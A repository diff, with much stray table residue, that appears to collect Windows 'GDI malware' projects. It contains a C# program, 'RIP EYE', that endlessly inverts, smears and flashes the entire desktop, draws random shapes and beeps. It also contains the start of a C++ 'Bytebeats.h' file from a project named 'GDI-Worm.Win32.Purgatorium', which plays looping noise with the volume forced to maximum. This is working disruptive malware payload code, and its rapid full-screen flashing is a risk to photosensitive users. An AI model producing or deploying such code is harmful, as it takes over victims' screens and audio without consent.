|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System;
|
| 2 |
+
using System.Runtime.InteropServices;
|
| 3 |
+
using System.Threading;
|
| 4 |
+
|
| 5 |
+
class Program
|
| 6 |
+
{
|
| 7 |
+
[DllImport("user32.dll")]
|
| 8 |
+
public static extern IntPtr GetDC(IntPtr hwnd);
|
| 9 |
+
|
| 10 |
+
[DllImport("user32.dll")]
|
| 11 |
+
public static extern IntPtr GetDesktopWindow();
|
| 12 |
+
|
| 13 |
+
[DllImport("user32.dll")]
|
| 14 |
+
public static extern int ReleaseDC(IntPtr hwnd, IntPtr hDC);
|
| 15 |
+
|
| 16 |
+
[DllImport("user32.dll")]
|
| 17 |
+
public static extern int GetSystemMetrics(int nIndex);
|
| 18 |
+
|
| 19 |
+
[DllImport("gdi32.dll")]
|
| 20 |
+
public static extern IntPtr CreateSolidBrush(int color);
|
| 21 |
+
|
| 22 |
+
[DllImport("gdi32.dll")]
|
| 23 |
+
public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hObject);
|
| 24 |
+
|
| 25 |
+
[DllImport("gdi32.dll")]
|
| 26 |
+
public static extern bool PatBlt(IntPtr hdc, int nXLeft, int nYLeft, int nWidth, int nHeight, uint dwRop);
|
| 27 |
+
|
| 28 |
+
[DllImport("gdi32.dll")]
|
| 29 |
+
public static extern bool LineTo(IntPtr hdc, int nXEnd, int nYEnd);
|
| 30 |
+
|
| 31 |
+
[DllImport("gdi32.dll")]
|
| 32 |
+
public static extern bool RoundRect(IntPtr hdc, int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nWidth, int nHeight);
|
| 33 |
+
|
| 34 |
+
[DllImport("gdi32.dll")]
|
| 35 |
+
public static extern bool StretchBlt(IntPtr hdcDest, int nXOriginDest, int nYOriginDest, int nWidthDest, int nHeightDest, IntPtr hdcSrc, int nXOriginSrc, int nYOriginSrc, int nWidthSrc, int nHeightSrc, uint dwRop);
|
| 36 |
+
|
| 37 |
+
[DllImport("gdi32.dll")]
|
| 38 |
+
public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop);
|
| 39 |
+
|
| 40 |
+
[DllImport("kernel32.dll")]
|
| 41 |
+
public static extern bool Beep(int dwFreq, int dwDuration);
|
| 42 |
+
|
| 43 |
+
public const int SM_CXSCREEN = 0;
|
| 44 |
+
public const int SM_CYSCREEN = 1;
|
| 45 |
+
public const uint PATINVERT = 0x005A0049;
|
| 46 |
+
public const uint SRCCOPY = 0x00CC0020;
|
| 47 |
+
public const uint SRCPAINT = 0x00EE0086;
|
| 48 |
+
public const uint SRCINVERT = 0x00660046;
|
| 49 |
+
|
| 50 |
+
static void Main()
|
| 51 |
+
{
|
| 52 |
+
IntPtr desk = GetDC(IntPtr.Zero);
|
| 53 |
+
int xs = GetSystemMetrics(SM_CXSCREEN), ys = GetSystemMetrics(SM_CYSCREEN);
|
| 54 |
+
Random rand = new Random();
|
| 55 |
+
|
| 56 |
+
while (true)
|
| 57 |
+
{
|
| 58 |
+
Thread.Sleep(1);
|
| 59 |
+
|
| 60 |
+
if (rand.Next(3) == 3)
|
| 61 |
+
{
|
| 62 |
+
IntPtr brush = CreateSolidBrush((rand.Next(955) << 16) | (rand.Next(955) << 8) | rand.Next(955));
|
| 63 |
+
SelectObject(desk, brush);
|
| 64 |
+
PatBlt(desk, 0, 0, xs, ys, PATINVERT);
|
| 65 |
+
Thread.Sleep(rand.Next(1000));
|
| 66 |
+
}
|
| 67 |
+
else if (rand.Next(3) == 1)
|
| 68 |
+
{
|
| 69 |
+
IntPtr brush = CreateSolidBrush((rand.Next(25) << 16) | (rand.Next(95) << 8) | rand.Next(95));
|
| 70 |
+
SelectObject(desk, brush);
|
| 71 |
+
PatBlt(desk, 0, 0, xs, ys, PATINVERT);
|
| 72 |
+
Thread.Sleep(rand.Next(1000));
|
| 73 |
+
}
|
| 74 |
+
|
| 75 |
+
if (rand.Next(25) == 9)
|
| 76 |
+
{
|
| 77 |
+
IntPtr brush = CreateSolidBrush((rand.Next(955) << 16) | (rand.Next(955) << 8) | rand.Next(955));
|
| 78 |
+
SelectObject(desk, brush);
|
| 79 |
+
Thread.Sleep(10);
|
| 80 |
+
}
|
| 81 |
+
else if (rand.Next(25) == 5)
|
| 82 |
+
{
|
| 83 |
+
IntPtr brush = CreateSolidBrush((rand.Next(905) << 16) | (rand.Next(905) << 8) | rand.Next(905));
|
| 84 |
+
SelectObject(desk, brush);
|
| 85 |
+
}
|
| 86 |
+
|
| 87 |
+
if (rand.Next(2) == 1)
|
| 88 |
+
{
|
| 89 |
+
LineTo(desk, rand.Next(xs), rand.Next(ys));
|
| 90 |
+
RoundRect(desk, rand.Next(xs), rand.Next(ys), rand.Next(xs), rand.Next(ys), rand.Next(xs), rand.Next(ys));
|
| 91 |
+
Thread.Sleep(10);
|
| 92 |
+
}
|
| 93 |
+
|
| 94 |
+
if (rand.Next(2) == 1)
|
| 95 |
+
{
|
| 96 |
+
LineTo(desk, rand.Next(xs), rand.Next(ys));
|
| 97 |
+
RoundRect(desk, rand.Next(xs), rand.Next(ys), rand.Next(xs), rand.Next(ys), rand.Next(xs), rand.Next(ys));
|
| 98 |
+
Thread.Sleep(10);
|
| 99 |
+
}
|
| 100 |
+
else if (rand.Next(2) == 0)
|
| 101 |
+
{
|
| 102 |
+
IntPtr hdc = GetDC(IntPtr.Zero);
|
| 103 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 104 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 105 |
+
int r1 = rand.Next(x);
|
| 106 |
+
int r2 = rand.Next(y);
|
| 107 |
+
IntPtr hbrush = CreateSolidBrush((rand.Next(955) << 16) | (rand.Next(955) << 8) | rand.Next(955));
|
| 108 |
+
StretchBlt(hdc, 0, 0, x, r1, hdc, r1, r2, 1, 1, PATINVERT);
|
| 109 |
+
}
|
| 110 |
+
|
| 111 |
+
if (rand.Next(7) == 5)
|
| 112 |
+
{
|
| 113 |
+
StretchBlt(desk, rand.Next(xs), rand.Next(ys), xs, ys, desk, 0, 0, xs, ys, SRCCOPY);
|
| 114 |
+
StretchBlt(desk, 10, 10, xs - 80, ys - 80, desk, 0, 0, xs, ys, SRCPAINT);
|
| 115 |
+
StretchBlt(desk, -10, -10, xs + 20, ys + 20, desk, 0, 0, xs, ys, SRCPAINT);
|
| 116 |
+
StretchBlt(desk, 0, 0, xs, ys, desk, rand.Next(xs), rand.Next(ys), xs, ys, SRCINVERT);
|
| 117 |
+
IntPtr hbrush = CreateSolidBrush((rand.Next(255) << 16) | (rand.Next(255) << 8) | rand.Next(255));
|
| 118 |
+
SelectObject(desk, hbrush);
|
| 119 |
+
PatBlt(desk, 0, 0, xs, ys, PATINVERT);
|
| 120 |
+
}
|
| 121 |
+
|
| 122 |
+
for (int i = 4; i >= 0; i--)
|
| 123 |
+
{
|
| 124 |
+
IntPtr hbrush = CreateSolidBrush((rand.Next(955) << 16) | (rand.Next(955) << 8) | rand.Next(955));
|
| 125 |
+
SelectObject(desk, hbrush);
|
| 126 |
+
BitBlt(desk, rand.Next(10), rand.Next(10), xs, ys, desk, rand.Next(10), rand.Next(10), 0x98123c);
|
| 127 |
+
}
|
| 128 |
+
|
| 129 |
+
// Play audio
|
| 130 |
+
Beep(500 + rand.Next(2000), 200);
|
| 131 |
+
}
|
| 132 |
+
}
|
| 133 |
+
}
|
src/4-main/RIP EYE/RIP EYE/Properties/AssemblyInfo.cs
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System.Reflection;
|
| 2 |
+
using System.Runtime.CompilerServices;
|
| 3 |
+
using System.Runtime.InteropServices;
|
| 4 |
+
|
| 5 |
+
// Le informazioni generali relative a un assembly sono controllate dal seguente
|
| 6 |
+
// set di attributi. Modificare i valori di questi attributi per modificare le informazioni
|
| 7 |
+
// associate a un assembly.
|
| 8 |
+
[assembly: AssemblyTitle("RIP EYE")]
|
| 9 |
+
[assembly: AssemblyDescription("")]
|
| 10 |
+
[assembly: AssemblyConfiguration("")]
|
| 11 |
+
[assembly: AssemblyCompany("")]
|
| 12 |
+
[assembly: AssemblyProduct("RIP EYE")]
|
| 13 |
+
[assembly: AssemblyCopyright("Copyright © 2024")]
|
| 14 |
+
[assembly: AssemblyTrademark("")]
|
| 15 |
+
[assembly: AssemblyCulture("")]
|
| 16 |
+
|
| 17 |
+
// Se si imposta ComVisible su false, i tipi in questo assembly non saranno visibili
|
| 18 |
+
// ai componenti COM. Se è necessario accedere a un tipo in questo assembly da
|
| 19 |
+
// COM, impostare su true l'attributo ComVisible per tale tipo.
|
| 20 |
+
[assembly: ComVisible(false)]
|
| 21 |
+
|
| 22 |
+
// Se il progetto viene esposto a COM, il GUID seguente verrà utilizzato come ID della libreria dei tipi
|
| 23 |
+
[assembly: Guid("06cb2a06-570c-4d42-baa9-2d023b4015db")]
|
| 24 |
+
|
| 25 |
+
// Le informazioni sulla versione di un assembly sono costituite dai seguenti quattro valori:
|
| 26 |
+
//
|
| 27 |
+
// Versione principale
|
| 28 |
+
// Versione secondaria
|
| 29 |
+
// Numero di build
|
| 30 |
+
// Revisione
|
| 31 |
+
//
|
| 32 |
+
// È possibile specificare tutti i valori oppure impostare valori predefiniti per i numeri relativi alla revisione e alla build
|
| 33 |
+
// usando l'asterisco '*' come illustrato di seguito:
|
| 34 |
+
// [assembly: AssemblyVersion("1.0.*")]
|
| 35 |
+
[assembly: AssemblyVersion("1.0.0.0")]
|
| 36 |
+
[assembly: AssemblyFileVersion("1.0.0.0")]
|
src/4-main/RIP EYE/RIP EYE/RIP EYE.csproj
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
| 3 |
+
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
| 4 |
+
<PropertyGroup>
|
| 5 |
+
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
| 6 |
+
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
| 7 |
+
<ProjectGuid>{06CB2A06-570C-4D42-BAA9-2D023B4015DB}</ProjectGuid>
|
| 8 |
+
<OutputType>Exe</OutputType>
|
| 9 |
+
<RootNamespace>RIP_EYE</RootNamespace>
|
| 10 |
+
<AssemblyName>RIP EYE</AssemblyName>
|
| 11 |
+
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
| 12 |
+
<FileAlignment>512</FileAlignment>
|
| 13 |
+
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
| 14 |
+
<Deterministic>true</Deterministic>
|
| 15 |
+
</PropertyGroup>
|
| 16 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
| 17 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 18 |
+
<DebugSymbols>true</DebugSymbols>
|
| 19 |
+
<DebugType>full</DebugType>
|
| 20 |
+
<Optimize>false</Optimize>
|
| 21 |
+
<OutputPath>bin\Debug\</OutputPath>
|
| 22 |
+
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
| 23 |
+
<ErrorReport>prompt</ErrorReport>
|
| 24 |
+
<WarningLevel>4</WarningLevel>
|
| 25 |
+
</PropertyGroup>
|
| 26 |
+
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
| 27 |
+
<PlatformTarget>AnyCPU</PlatformTarget>
|
| 28 |
+
<DebugType>pdbonly</DebugType>
|
| 29 |
+
<Optimize>true</Optimize>
|
| 30 |
+
<OutputPath>bin\Release\</OutputPath>
|
| 31 |
+
<DefineConstants>TRACE</DefineConstants>
|
| 32 |
+
<ErrorReport>prompt</ErrorReport>
|
| 33 |
+
<WarningLevel>4</WarningLevel>
|
| 34 |
+
</PropertyGroup>
|
| 35 |
+
<ItemGroup>
|
| 36 |
+
<Reference Include="System" />
|
| 37 |
+
<Reference Include="System.Core" />
|
| 38 |
+
<Reference Include="System.Xml.Linq" />
|
| 39 |
+
<Reference Include="System.Data.DataSetExtensions" />
|
| 40 |
+
<Reference Include="Microsoft.CSharp" />
|
| 41 |
+
<Reference Include="System.Data" />
|
| 42 |
+
<Reference Include="System.Net.Http" />
|
| 43 |
+
<Reference Include="System.Xml" />
|
| 44 |
+
</ItemGroup>
|
| 45 |
+
<ItemGroup>
|
| 46 |
+
<Compile Include="Program.cs" />
|
| 47 |
+
<Compile Include="Properties\AssemblyInfo.cs" />
|
| 48 |
+
</ItemGroup>
|
| 49 |
+
<ItemGroup>
|
| 50 |
+
<None Include="App.config" />
|
| 51 |
+
</ItemGroup>
|
| 52 |
+
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
| 53 |
+
</Project>
|
src/4-main/RIP EYE/RIP EYE/bin/Debug/RIP EYE.exe.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8" ?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/4-main/RIP EYE/RIP EYE/bin/Debug/RIP EYE.pdb
ADDED
|
Binary file (22 kB). View file
|
|
|
src/4-main/RIP EYE/RIP EYE/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
ADDED
|
Binary file (1.71 kB). View file
|
|
|
src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.AssemblyReference.cache
ADDED
|
Binary file (4.08 kB). View file
|
|
|
src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.CoreCompileInputs.cache
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
5bb56c9ef8259863da41b9966ff000324a4ac45ce033dd510671b53b9ecdc07a
|
src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.csproj.FileListAbsolute.txt
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
D:\c#\RIP EYE\RIP EYE\bin\Debug\RIP EYE.exe.config
|
| 2 |
+
D:\c#\RIP EYE\RIP EYE\bin\Debug\RIP EYE.exe
|
| 3 |
+
D:\c#\RIP EYE\RIP EYE\bin\Debug\RIP EYE.pdb
|
| 4 |
+
D:\c#\RIP EYE\RIP EYE\obj\Debug\RIP EYE.csproj.AssemblyReference.cache
|
| 5 |
+
D:\c#\RIP EYE\RIP EYE\obj\Debug\RIP EYE.csproj.CoreCompileInputs.cache
|
| 6 |
+
D:\c#\RIP EYE\RIP EYE\obj\Debug\RIP EYE.exe
|
| 7 |
+
D:\c#\RIP EYE\RIP EYE\obj\Debug\RIP EYE.pdb
|
src/4-main/RIP EYE/RIP EYE/obj/Debug/RIP EYE.pdb
ADDED
|
Binary file (22 kB). View file
|
|
|
src/GDI-Worm.Win32.Purgatorium-main/Source/Bytebeats.h
ADDED
|
@@ -0,0 +1,511 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
typedef struct IUnknown IUnknown;
|
| 2 |
+
|
| 3 |
+
#pragma once
|
| 4 |
+
|
| 5 |
+
#include "Purgatorium.h"
|
| 6 |
+
|
| 7 |
+
namespace Bytebeats
|
| 8 |
+
{
|
| 9 |
+
DWORD WINAPI BytebeatAlpha(LPVOID lpvd)
|
| 10 |
+
{
|
| 11 |
+
HWAVEOUT hWaveOut = 0;
|
| 12 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 13 |
+
|
| 14 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 15 |
+
|
| 16 |
+
BYTE sbuffer[17000 * 60];
|
| 17 |
+
|
| 18 |
+
DWORD c = 0;
|
| 19 |
+
DWORD e = 0;
|
| 20 |
+
|
| 21 |
+
FLOAT volume = 0.0;
|
| 22 |
+
FLOAT dx = 0.6;
|
| 23 |
+
|
| 24 |
+
while (true)
|
| 25 |
+
{
|
| 26 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 27 |
+
{
|
| 28 |
+
if (c == 35000)
|
| 29 |
+
{
|
| 30 |
+
c = 0;
|
| 31 |
+
e++;
|
| 32 |
+
|
| 33 |
+
dx += 0.1;
|
| 34 |
+
|
| 35 |
+
if (dx > 0.7) dx = 0.5;
|
| 36 |
+
|
| 37 |
+
if (e % 10 && volume != 3)
|
| 38 |
+
{
|
| 39 |
+
volume += 0.1;
|
| 40 |
+
}
|
| 41 |
+
}
|
| 42 |
+
|
| 43 |
+
DWORD d = c * dx;
|
| 44 |
+
|
| 45 |
+
DWORD freq = d % 30;
|
| 46 |
+
|
| 47 |
+
DWORD sound = c & freq % 500;
|
| 48 |
+
|
| 49 |
+
sbuffer[t] = sound * volume;
|
| 50 |
+
|
| 51 |
+
c++;
|
| 52 |
+
}
|
| 53 |
+
|
| 54 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 55 |
+
|
| 56 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 57 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 58 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 59 |
+
|
| 60 |
+
Sleep(1000 * 31);
|
| 61 |
+
|
| 62 |
+
waveOutReset(hWaveOut);
|
| 63 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(header));
|
| 64 |
+
}
|
| 65 |
+
|
| 66 |
+
return 0x00;
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
DWORD WINAPI BytebeatBeta(LPVOID lpvd)
|
| 70 |
+
{
|
| 71 |
+
HWAVEOUT hWaveOut = 0;
|
| 72 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 73 |
+
|
| 74 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 75 |
+
|
| 76 |
+
BYTE sbuffer[17000 * 60];
|
| 77 |
+
|
| 78 |
+
while (true)
|
| 79 |
+
{
|
| 80 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 81 |
+
{
|
| 82 |
+
|
| 83 |
+
DWORD d = (t & 1) * 4;
|
| 84 |
+
|
| 85 |
+
DWORD freq = (d | d << 2) >> 100;
|
| 86 |
+
|
| 87 |
+
DWORD sound = t | (freq | t) % 500;
|
| 88 |
+
|
| 89 |
+
sbuffer[t] = sound * 0.5;
|
| 90 |
+
}
|
| 91 |
+
|
| 92 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 93 |
+
|
| 94 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 95 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 96 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 97 |
+
|
| 98 |
+
Sleep(1000 * 31);
|
| 99 |
+
|
| 100 |
+
waveOutReset(hWaveOut);
|
| 101 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(header));
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
return 0x00;
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
+
DWORD WINAPI BytebeatGamma(LPVOID lpvd)
|
| 108 |
+
{
|
| 109 |
+
HWAVEOUT hWaveOut = 0;
|
| 110 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32100, 32100, 1, 8, 0 };
|
| 111 |
+
|
| 112 |
+
waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 113 |
+
|
| 114 |
+
BYTE sbuffer[17000 * 60];
|
| 115 |
+
|
| 116 |
+
while (true)
|
| 117 |
+
{
|
| 118 |
+
for (DWORD t = 0; t < sizeof(sbuffer); t++)
|
| 119 |
+
{
|
| 120 |
+
DWORD freq = Math::SineWave(10, t % 1000, 1, 1000);
|
| 121 |
+
|
| 122 |
+
sbuffer[t] = t ^ (freq % 5);
|
| 123 |
+
}
|
| 124 |
+
|
| 125 |
+
WAVEHDR header = { (LPSTR)sbuffer, sizeof(sbuffer), 0, 0, 0, 0, 0, 0 };
|
| 126 |
+
|
| 127 |
+
waveOutPrepareHeader(hWaveOut, &header, sizeof(WAVEHDR));
|
| 128 |
+
waveOutWrite(hWaveOut, &header, sizeof(WAVEHDR));
|
| 129 |
+
waveOutSetVolume(hWaveOut, MAKELONG(0xFFFF, 0xFFFF));
|
| 130 |
+
|
| 131 |
+
Sleep(1000 * 31);
|
| 132 |
+
|
| 133 |
+
waveOutReset(hWaveOut);
|
| 134 |
+
waveOutUnprepareHeader(hWaveOut, &header, sizeof(header));
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
return 0x00;
|
| 138 |
+
}
|
| 139 |
+
|
| 140 |
+
//Quantification
|
| 141 |
+
DWORD WINAPI BytebeatA(LPVOID lpvd)
|
| 142 |
+
